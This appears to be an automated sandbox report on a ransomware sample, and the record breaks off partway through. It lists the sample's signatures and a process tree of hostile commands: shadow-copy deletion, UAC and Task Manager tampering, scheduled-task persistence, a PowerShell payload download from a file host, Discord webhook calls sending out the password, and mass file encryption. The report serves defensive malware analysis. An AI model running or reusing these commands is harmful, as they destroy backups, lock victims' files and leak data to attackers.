Overview

overview

10

Static

static

BleachGap.bin.exe

windows7_x64

10

BleachGap.bin.exe

windows10_x64

10

Analysis

  • max time kernel
    132s
  • max time network
    110s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    27/02/2021, 14:36

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    BleachGap.bin.exe

  • Size

    1001KB

  • MD5

    015bb16ddcbf8a6326ec859020466c05

  • SHA1

    f0ff1059e64175c8bf3f557cf1b0f49ed105d7d4

  • SHA256

    c1eb88cc7f7b43de1ef71fae416c729483d71fa930314c36dfb03b01b8455d31

  • SHA512

    588051f1702c69b96168c9bfa41bdb9aaffdf48bf3178e30ee1bf1510989a1b43b1032b9b002f81907428182a050befc9b00143b4991c47131bcb4b25dfc83c5

Score
10/10
evasionpersistenceransomwaretrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn-115.anonfiles.com/9821W1G5p3/542b7e19-1612884386/gameover.exe

Signatures

  • UAC bypass 3 TTPs
    evasiontrojan
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Blocklisted process makes network request 2 IoCs
  • Disables Task Manager via registry modification
    evasion
  • Executes dropped EXE 64 IoCs
  • Modifies Installed Components in the registry 2 TTPs
    persistence
  • Modifies extensions of user files 6 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Sets file to hidden 1 TTPs

    Modifies file attributes to stop it showing in Explorer etc.

    evasion
  • Drops startup file 2 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 12 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Kills process with taskkill 4 IoCs
    evasion
  • Modifies registry class 31 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
    ransomware
  • Suspicious behavior: EnumeratesProcesses 57 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 52 IoCs
  • Suspicious use of SendNotifyMessage 31 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\BleachGap.bin.exe
    "C:\Users\Admin\AppData\Local\Temp\BleachGap.bin.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1052
    • C:\Windows\System32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\42AC.tmp\42BD.tmp\42BE.bat C:\Users\Admin\AppData\Local\Temp\BleachGap.bin.exe"
      2⤵
      • Drops startup file
      • Suspicious use of WriteProcessMemory
      PID:616
      • C:\Windows\System32\Wbem\WMIC.exe
        wmic shadowcopy delete
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:944
      • C:\Windows\system32\vssadmin.exe
        vssadmin delete shadows /all /quiet
        3⤵
        • Interacts with shadow copies
        PID:1128
      • C:\Windows\system32\reg.exe
        REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t REG_DWORD /d "0" /f
        3⤵
          PID:3108
        • C:\Windows\system32\reg.exe
          REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t REG_DWORD /d "0" /f
          3⤵
            PID:2052
          • C:\Windows\system32\reg.exe
            REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d "1" /f
            3⤵
              PID:516
            • C:\Windows\system32\reg.exe
              REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Keyboard Layout" /v "Scancode Map" /t REG_BINARY /d "00000000000000001700000000003800000038e000005be000005ce00000360000001d0000001de000000f000000010000001c0000003e0000003b00000044000000450000003d0000005de000000000" /f /reg:64
              3⤵
                PID:740
              • C:\Windows\system32\reg.exe
                REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d "1" /f
                3⤵
                  PID:640
                • C:\Windows\system32\reg.exe
                  REG ADD "HKCU\Control Panel\Mouse" /v SwapMouseButtons /t REG_SZ /d "1" /f
                  3⤵
                    PID:3860
                  • C:\Windows\system32\attrib.exe
                    attrib +r +s +h +a +i C:\Users\Admin\AppData\Local\Temp\BleachGap.bin.exe
                    3⤵
                    • Views/modifies file attributes
                    PID:2208
                  • C:\Windows\system32\attrib.exe
                    attrib +r +a +s +h +i "C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe"
                    3⤵
                    • Views/modifies file attributes
                    PID:2360
                  • C:\Windows\system32\attrib.exe
                    attrib +r +a +s +h +i "C:\Users\Admin\AppData\Local\Temp\42AC.tmp\DiscordSendWebhook.exe"
                    3⤵
                    • Views/modifies file attributes
                    PID:584
                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\DiscordSendWebhook.exe
                    "C:\Users\Admin\AppData\Local\Temp\42AC.tmp\DiscordSendWebhook" -m ":writing_hand: Currently encrypting files... Please wait until the password and fake btc acc are sended" -w https://discord.com/api/webhooks/807704589436452915/jhcjthfZ4SBzzZNBbqZ9xII5kv9CycOOacxLmktf6BQQn-FYteG1I-Ntg02B-4UphE4K
                    3⤵
                    • Executes dropped EXE
                    • Suspicious use of FindShellTrayWindow
                    • Suspicious use of SendNotifyMessage
                    PID:2488
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell start -verb runas cmd.exe /ArgumentList "/c kill.bat" /filepath "C:\Users\Admin\AppData\Local\Temp" /WindowStyle hidden
                    3⤵
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1372
                  • C:\Windows\system32\taskkill.exe
                    taskkill /f /im opera.exe
                    3⤵
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:388
                  • C:\Windows\system32\taskkill.exe
                    taskkill /f /im chrome.exe
                    3⤵
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3884
                  • C:\Windows\system32\taskkill.exe
                    taskkill /f /im firefox.exe
                    3⤵
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2272
                  • C:\Windows\system32\taskkill.exe
                    taskkill /f /im iexplore.exe
                    3⤵
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2820
                  • C:\Windows\system32\schtasks.exe
                    schtasks /create /sc onlogon /tn UpdateWuauclt /rl highest /tr "C:\Users\Admin\AppData\Local\Temp\BleachGap.bin.exe" /RU "SYSTEM" /f
                    3⤵
                    • Creates scheduled task(s)
                    PID:252
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell.exe -c (new-object System.Net.WebClient).DownloadFile('https://cdn-115.anonfiles.com/9821W1G5p3/542b7e19-1612884386/gameover.exe','C:\Users\Admin\AppData\Local\Temp\final.exe')
                    3⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2492
                  • C:\Windows\system32\schtasks.exe
                    schtasks /create /sc DAILY /tn UpdateWuaucltHelper /rl highest /tr "C:\Users\Admin\AppData\Local\Temp\final.exe" /RU "SYSTEM" /MO 5
                    3⤵
                    • Creates scheduled task(s)
                    PID:640
                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\DiscordSendWebhook.exe
                    "C:\Users\Admin\AppData\Local\Temp\42AC.tmp\DiscordSendWebhook" -m ":satellite: New Crypt from Admin, Password: Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU, FakeAccount: swHWbEhzjhKISUfERxC9KXLJAr2FTcjA3X, PersonalKey:||Iox5tI9PR14tJFSXpVmVx4JrHUQaBJCKSP50SPLNUjNsOTCU||" -w https://discord.com/api/webhooks/807704589436452915/jhcjthfZ4SBzzZNBbqZ9xII5kv9CycOOacxLmktf6BQQn-FYteG1I-Ntg02B-4UphE4K
                    3⤵
                    • Executes dropped EXE
                    • Suspicious use of FindShellTrayWindow
                    • Suspicious use of SendNotifyMessage
                    PID:2348
                  • C:\Windows\system32\attrib.exe
                    attrib +r +a +s +h +i C:\Users\Admin\AppData\Local\Temp /s /D
                    3⤵
                    • Views/modifies file attributes
                    PID:2704
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
                    3⤵
                      PID:1748
                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "desktop.ini.lck" "desktop.ini"
                      3⤵
                      • Executes dropped EXE
                      PID:252
                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "SubmitClose.midi.lck" "SubmitClose.midi"
                      3⤵
                      • Executes dropped EXE
                      PID:1136
                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "AddDismount.crw.lck" "AddDismount.crw"
                      3⤵
                      • Executes dropped EXE
                      PID:3876
                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ExitSend.svgz.lck" "ExitSend.svgz"
                      3⤵
                      • Executes dropped EXE
                      PID:1456
                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "OpenJoin.contact.lck" "OpenJoin.contact"
                      3⤵
                      • Executes dropped EXE
                      PID:2136
                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ConfirmRegister.mpeg.lck" "ConfirmRegister.mpeg"
                      3⤵
                      • Executes dropped EXE
                      PID:2116
                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "InitializeEnable.bin.lck" "InitializeEnable.bin"
                      3⤵
                      • Executes dropped EXE
                      PID:3012
                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ExportSave.pptx.lck" "ExportSave.pptx"
                      3⤵
                      • Executes dropped EXE
                      PID:2552
                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "AddUse.lnk.lck" "AddUse.lnk"
                      3⤵
                      • Executes dropped EXE
                      PID:3152
                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "CheckpointExit.mpe.lck" "CheckpointExit.mpe"
                      3⤵
                      • Executes dropped EXE
                      PID:3860
                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DebugSend.wdp.lck" "DebugSend.wdp"
                      3⤵
                      • Executes dropped EXE
                      PID:2004
                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "PopCompress.midi.lck" "PopCompress.midi"
                      3⤵
                      • Executes dropped EXE
                      PID:3660
                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "FindSet.ttc.lck" "FindSet.ttc"
                      3⤵
                      • Executes dropped EXE
                      PID:3204
                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "UpdateDisable.ps1.lck" "UpdateDisable.ps1"
                      3⤵
                      • Executes dropped EXE
                      PID:2816
                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "StepGroup.ex_.lck" "StepGroup.ex_"
                      3⤵
                      • Executes dropped EXE
                      PID:2672
                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "InvokeInitialize.xht.lck" "InvokeInitialize.xht"
                      3⤵
                      • Executes dropped EXE
                      PID:3768
                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "RestartReset.3gp.lck" "RestartReset.3gp"
                      3⤵
                      • Executes dropped EXE
                      PID:1340
                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ResumeAssert.wma.lck" "ResumeAssert.wma"
                      3⤵
                      • Executes dropped EXE
                      PID:8
                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "RestoreLimit.nfo.lck" "RestoreLimit.nfo"
                      3⤵
                      • Executes dropped EXE
                      PID:1372
                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DisconnectFormat.exe.lck" "DisconnectFormat.exe"
                      3⤵
                      • Executes dropped EXE
                      PID:388
                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "BlockTrace.asx.lck" "BlockTrace.asx"
                      3⤵
                      • Executes dropped EXE
                      PID:3884
                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "EnterRead.midi.lck" "EnterRead.midi"
                      3⤵
                      • Executes dropped EXE
                      PID:2996
                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "MountJoin.WTV.lck" "MountJoin.WTV"
                      3⤵
                      • Executes dropped EXE
                      PID:2276
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c dir * /aD /b /oS
                      3⤵
                        PID:1932
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell.exe -c (new-object System.Net.WebClient).DownloadFile('','')
                        3⤵
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2272
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell.exe -c Invoke-WebRequest -Uri -OutFile
                        3⤵
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:184
                      • C:\Windows\system32\certutil.exe
                        certutil -urlcache -split -f
                        3⤵
                          PID:2212
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell.exe start-process -FilePath "C:\Windows\System32\cmd.exe" -ArgumentList "/k","call","C:\Users\Admin\AppData\Local\Temp\p2d.bat" -WorkingDirectory "C:\Users\Admin\Desktop" -WindowStyle hidden
                          3⤵
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1980
                          • C:\Windows\System32\cmd.exe
                            "C:\Windows\System32\cmd.exe" /k call C:\Users\Admin\AppData\Local\Temp\p2d.bat
                            4⤵
                            • Modifies registry class
                            PID:2284
                            • C:\Windows\system32\NOTEPAD.EXE
                              "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\Pay2Decrypt1.txt
                              5⤵
                              • Opens file in notepad (likely ransom note)
                              PID:5668
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
                          3⤵
                            PID:2696
                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "desktop.ini.lck" "desktop.ini"
                            3⤵
                            • Executes dropped EXE
                            PID:1912
                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "These.docx.lck" "These.docx"
                            3⤵
                            • Executes dropped EXE
                            PID:2120
                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "Are.docx.lck" "Are.docx"
                            3⤵
                            • Executes dropped EXE
                            PID:2128
                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "Recently.docx.lck" "Recently.docx"
                            3⤵
                            • Executes dropped EXE
                            PID:1124
                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "Opened.docx.lck" "Opened.docx"
                            3⤵
                            • Executes dropped EXE
                            PID:3052
                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "Files.docx.lck" "Files.docx"
                            3⤵
                            • Executes dropped EXE
                            PID:2704
                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "LimitBackup.mpp.lck" "LimitBackup.mpp"
                            3⤵
                            • Executes dropped EXE
                            PID:2392
                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "TraceSave.xlsm.lck" "TraceSave.xlsm"
                            3⤵
                            • Executes dropped EXE
                            PID:584
                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "TestOptimize.ppsx.lck" "TestOptimize.ppsx"
                            3⤵
                            • Executes dropped EXE
                            PID:3820
                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "NewMeasure.vstx.lck" "NewMeasure.vstx"
                            3⤵
                            • Executes dropped EXE
                            PID:1832
                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "AssertDebug.xlsm.lck" "AssertDebug.xlsm"
                            3⤵
                            • Executes dropped EXE
                            PID:2504
                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ExpandConfirm.dotx.lck" "ExpandConfirm.dotx"
                            3⤵
                            • Executes dropped EXE
                            PID:2240
                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "StartProtect.wps.lck" "StartProtect.wps"
                            3⤵
                            • Executes dropped EXE
                            PID:3492
                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "RenameCompare.mpp.lck" "RenameCompare.mpp"
                            3⤵
                            • Executes dropped EXE
                            PID:260
                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "StartInitialize.pub.lck" "StartInitialize.pub"
                            3⤵
                            • Executes dropped EXE
                            PID:1224
                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DenyBackup.vstm.lck" "DenyBackup.vstm"
                            3⤵
                            • Executes dropped EXE
                            PID:500
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c dir * /aD /b /oS
                            3⤵
                              PID:3380
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
                              3⤵
                                PID:2300
                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "desktop.ini.lck" "desktop.ini"
                                3⤵
                                • Executes dropped EXE
                                PID:1512
                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "desktop.ini.lck.lck" "desktop.ini.lck"
                                3⤵
                                • Executes dropped EXE
                                PID:1932
                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "These.docx.lck" "These.docx"
                                3⤵
                                • Executes dropped EXE
                                PID:3108
                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "Are.docx.lck" "Are.docx"
                                3⤵
                                • Executes dropped EXE
                                PID:3080
                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "Recently.docx.lck" "Recently.docx"
                                3⤵
                                • Executes dropped EXE
                                PID:2132
                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "Opened.docx.lck" "Opened.docx"
                                3⤵
                                • Executes dropped EXE
                                PID:3548
                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "Files.docx.lck" "Files.docx"
                                3⤵
                                • Executes dropped EXE
                                PID:2540
                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "These.docx.lck.lck" "These.docx.lck"
                                3⤵
                                • Executes dropped EXE
                                PID:3380
                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "Are.docx.lck.lck" "Are.docx.lck"
                                3⤵
                                • Executes dropped EXE
                                PID:1980
                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "Recently.docx.lck.lck" "Recently.docx.lck"
                                3⤵
                                • Executes dropped EXE
                                PID:2264
                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "Files.docx.lck.lck" "Files.docx.lck"
                                3⤵
                                • Executes dropped EXE
                                PID:2008
                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "Opened.docx.lck.lck" "Opened.docx.lck"
                                3⤵
                                • Executes dropped EXE
                                PID:2232
                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "LimitBackup.mpp.lck" "LimitBackup.mpp"
                                3⤵
                                • Executes dropped EXE
                                PID:2192
                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "LimitBackup.mpp.lck.lck" "LimitBackup.mpp.lck"
                                3⤵
                                • Executes dropped EXE
                                PID:944
                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "TraceSave.xlsm.lck" "TraceSave.xlsm"
                                3⤵
                                • Executes dropped EXE
                                PID:1748
                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "TraceSave.xlsm.lck.lck" "TraceSave.xlsm.lck"
                                3⤵
                                • Executes dropped EXE
                                PID:3952
                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
